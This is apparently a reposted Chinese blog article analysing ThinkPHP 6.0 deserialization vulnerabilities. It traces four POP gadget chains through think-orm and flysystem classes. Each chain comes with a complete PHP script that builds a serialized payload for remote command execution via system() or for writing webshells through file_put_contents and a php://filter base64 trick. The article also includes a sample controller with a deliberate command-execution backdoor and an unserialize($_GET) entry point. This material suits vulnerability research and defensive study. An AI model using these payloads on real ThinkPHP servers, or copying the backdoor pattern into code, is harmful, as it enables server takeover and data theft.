您的位置 首页 php

6.0反序列化漏洞分析

Thinkphp 6.0 反序列化漏洞分析

ThinkPHP目录结构:

 project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件
  

控制器写法:

控制器文件通常放在 application/module/controller 下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。

为了感谢广大读者伙伴的支持,准备了以下福利给到大家:
【一>所有资源关注我,私信回复“资料”获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

一个典型的控制器类定义如下:

 <?php
namespace app\index\controller;

use think\Controller;

class Index extends Controller
{
    public function index()
    {
        return 'index';
    }
}
  

控制器类文件的实际位置是

 application\index\controller\Index.php
  

一个例子:

 <?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="#34;%20target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="#34;%20charset="UTF-8"></script><script type="text/javascript" src="#34;></script><think%20id="ee9b1aa918103c4fc"></think>';
    }
    public function backdoor($command)
    {
        system($command);
    }
}
  

想进入后门,需要访问:

 
  

所以写一个漏洞利用点:

控制器, app/home/contorller/index.php

 <?php

namespace app\home\controller;

use think\facade\Db;

class Index extends Base
{
    public function index()
    {
        return view('index');
    }
    public function payload(){
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to TP6.0";
    }
}
  

POP1

入口: /vendor/topthink/think-orm/src/Model.php

$this->lazySave==True ,跟进:

想要进入 updateData 方法,需要满足一些条件:

让第一个 if 里面一个条件为真才能不直接 return ,也即需要两个条件:

 $this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty():
 public function isEmpty(): bool
 {
 return empty($this->data);
 }
  

$this->data!=null 即可满足第一个条件。再看 trigger(‘BeforeWrite’) ,位于 ModelEvent 类中:

 protected function trigger(string $event): bool
 {
 if (!$this->withEvent) {
 return true;
 }
 .....
 }
  

$this->withEvent==false 即可满足第二个条件,

然后需要让 $this->exists=true ,这样才能执行 updateData

跟进 updateData()

想要执行 checkAllwoFields 方法需要绕过前面的两个 if 判断,必须满足两个条件:

 $this->trigger('BeforeUpdate')==true
$data!=null
  

第一个条件上面已经满足,现在看第二个条件 $data ,查看 $data 是怎么来的,跟进 getChangedData 方法, src/model/concern/Attribute.php

因为 $force 没定义默认为 null ,所以进入 array_udiff_assoc ,由于 $this->data $this->origin 默认也为 null ,所以不符合第一个 if 判断,最终 $data=0 ,也即满足前面所提的第二个条件, $data!=null

然后查看 checkAllowFields 方法调用情况。

我们想进入字符拼接操作,就需要进入 else ,所以要让 $this->field=null $this->schema=null ,进入下面

这里存在可控属性的字符拼接,所以可以找一个有 __tostring 方法的类做跳板,寻找 __tostring

src/model/concern/Conversion.php

进入 toJson 方法,

我们想要执行的就是 getAttr 方法,触发条件:

$this->visible[$key] 需要存在,而 $key 来自 $data 的键名, $data 又来自 $this->data ,即 $this->data 必须有一个键名传给 $this->visible ,然后把键名 $key 传给 getAttr 方法,

跟进 getAttr 方法, vendor/topthink/think-orm/src/model/concern/Attribute.php

跟进 getData 方法,

跟进 getRealFieldName 方法,

$this->strict true 时直接返回 $name ,即键名 $key

返回 getData 方法,此时 $fieldName=$key ,进入 if 语句,返回 $this->data[$key] ,再回到 getAttr 方法,

 return $this->getValue($name, $value, $relation);
  

即返回

 return $this->getValue($name, $this->data[$key], $relation);
  

跟进 getValue 方法,

如果我们让 $closure 为我们想执行的函数名, $value $this->data 为参数即可实现任意函数执行。

所以需要查看 $closure 属性是否可控,跟进 getRealFieldName 方法,

如果让 $this->strict==true ,即可让 $$fieldName 等于传入的参数 $name ,即开始的 $this->data[$key] 的键值 $key ,可控

又因为 $this->withAttr 数组可控,所以, $closure 可控·,值为 $this->withAttr[$key] ,参数就是 $this->data ,即 $data 的键值,

所以我们需要控制的参数:

 $this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
  

这里还需要注意, Model 是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用。

所以构造exp:

 <?php
namespace think{
    abstract class Model{
        use model\concern\Attribute;  //因为要使用里面的属性
        private $lazySave;
        private $exists;
        private $data=[];
        private $withAttr = [];
        public function __construct($obj){
            $this->lazySave = True;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
            $this->data = ['key'=>'dir'];
            $this->visible = ["key"=>1];
            $this->withAttr = ['key'=>'system'];
        }
    }
}

namespace think\model\concern{
    trait Attribute
    {
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }

    $a = new Pivot('');
    $b = new Pivot($a);
    echo urlencode(serialize($b));
}
  

POP2

入口: vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

$autosave = false

因为 AbstractCache 为抽象类,所以需要找一下它的子类, /vendor/topthink/framework/src/think/filesystem/CacheStore.php ,因为里面实现了 save 方法,

继续跟进 getForStorage

跟进 cleanContents 方法,

只要不是嵌套数组,就可以直接 return 回来,返回到 json_encode ,他返回 json 格式数据后,再回到 save 方法的 set 方法,

因为 $this->store 可控,我们可以调用任意类的 set 方法,如果该类没用 set 方法,所以可能触发 __call 。当然也有可能自身的 set 方法就可以利用,找到可利用 set 方法, src/think/cache/driver/File.php

跟进 getCacheKey ,这里其实就是为了查看进入该方法是否出现错误或者直接 return 了,

所以这里 $this->option[‘hash_type’] 不能为空,然后进入 serialize 方法, src/think/cache/Driver.php

这里发现 options 可控,如果我们将其赋值为 system ,那么 return 的就是我们命令执行函数, $data 我们是可以传入的,那就可以RCE,回溯 $data 是如何传入的,即 save 方法传入的 $contents ,但是 $contents 是经过了 json_encode 处理后的 json 格式数据,那有什么函数可以出来 json 格式数据呢?经过测试发现 system 可以利用:

链子如下:

 /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

/vendor/topthink/framework/src/think/cache/driver.php::set()

/vendor/topthink/framework/src/think/cache/driver.php::serialize()
  

exp如下:

 <?php

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "`id`";
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => true,
            'prefix' => '',
            'path' => '',
            'hash_type' => 'md5',
            'data_compress' => false,
            'tag_prefix' => 'tag:',
            'serialize' => ['system'],
        ];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

?>
  

但是没有回显,但是能够反弹 shell ,

POP3

这里其实和 POP2 一样,只是最终利用点发生了些许变化,调用关系还是一样:

 /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

/vendor/topthink/framework/src/think/cache/driver.php::set()

/vendor/topthink/framework/src/think/cache/driver.php::serialize()
  

POP2 是利用的控制 serialize 函数来RCE,但下面还存在一个 file_put_contents($filename, $data) 函数,我们也可以利用它来写入 shell,

我们还是需要去查看文件名是否可控,进入 getCacheKey 方法,

可以发现我们可以控制文件名,而且可以在 $this->options[‘path’] 添加伪协议,再看写入数据 $data 是否可控呢,可以看到存在一个 exit 方法来限制我们操作,可以伪协议 filter 可以绕过它

所以文件名和内容都可控,exp:

 <?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

 ?>
  

成功写入

POP4

入口: League\Flysystem\Cached\Storage\AbstractCache

因为 AbstractCache 为抽象类,所以需要找一下它的子类, src/Storage/Adapter.php

$autosave = false 即可进入 save 方法,

有一个 write 方法, $content getForStorage 方法返回值,上文已分析该参数可控,所以可以用来写马。

所以我们需要找一个有 has 方法和 write 方法的对象利用, src/Adapter/Local.php

has() 方法用来判断文件是否已存在,只需要构建文件名不存在即可,进入 write 方法,

这里可以执行 file_put_contents() ,写入 shell ,跟进 applyPathPrefix 方法,

然后 getPathPrefix 方法返回的是该类的一个属性,因为默认为NULL,所以 file_put_contents 第一个参数就是 $path 变量,回溯该变量,也即是 Adapter 类中的 $file 属性,所以让 $file 属性为文件名,所以文件名 $file 可控,文件内容 $contents 可控,所以写入 shell ,exp:

 <?php

namespace League\Flysystem\Cached\Storage;

abstract class AbstractCache
{
    protected $autosave = false;
    protected $cache = ['<?php phpinfo();?>'];
}

namespace League\Flysystem\Cached\Storage;

class Adapter extends AbstractCache
{
    protected $adapter;
    protected $file;

    public function __construct($obj)
    {
        $this->adapter = $obj;
        $this->file = 'w0s1np.php';
    }
}

namespace League\Flysystem\Adapter;

abstract class AbstractAdapter
{
}

namespace League\Flysystem\Adapter;

use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;

class Local extends AbstractAdapter
{

    public function has($path)
    {
    }

    public function write($path, $contents, Config $config)
    {
    }

}

$a = new Local();
$b = new Adapter($a);
echo urlencode(serialize($b));
?>
  

成功写入

文章来源:智云一二三科技

文章标题:6.0反序列化漏洞分析

文章地址:https://www.zhihuclub.com/79933.shtml

关于作者: 智云科技

热门文章

网站地图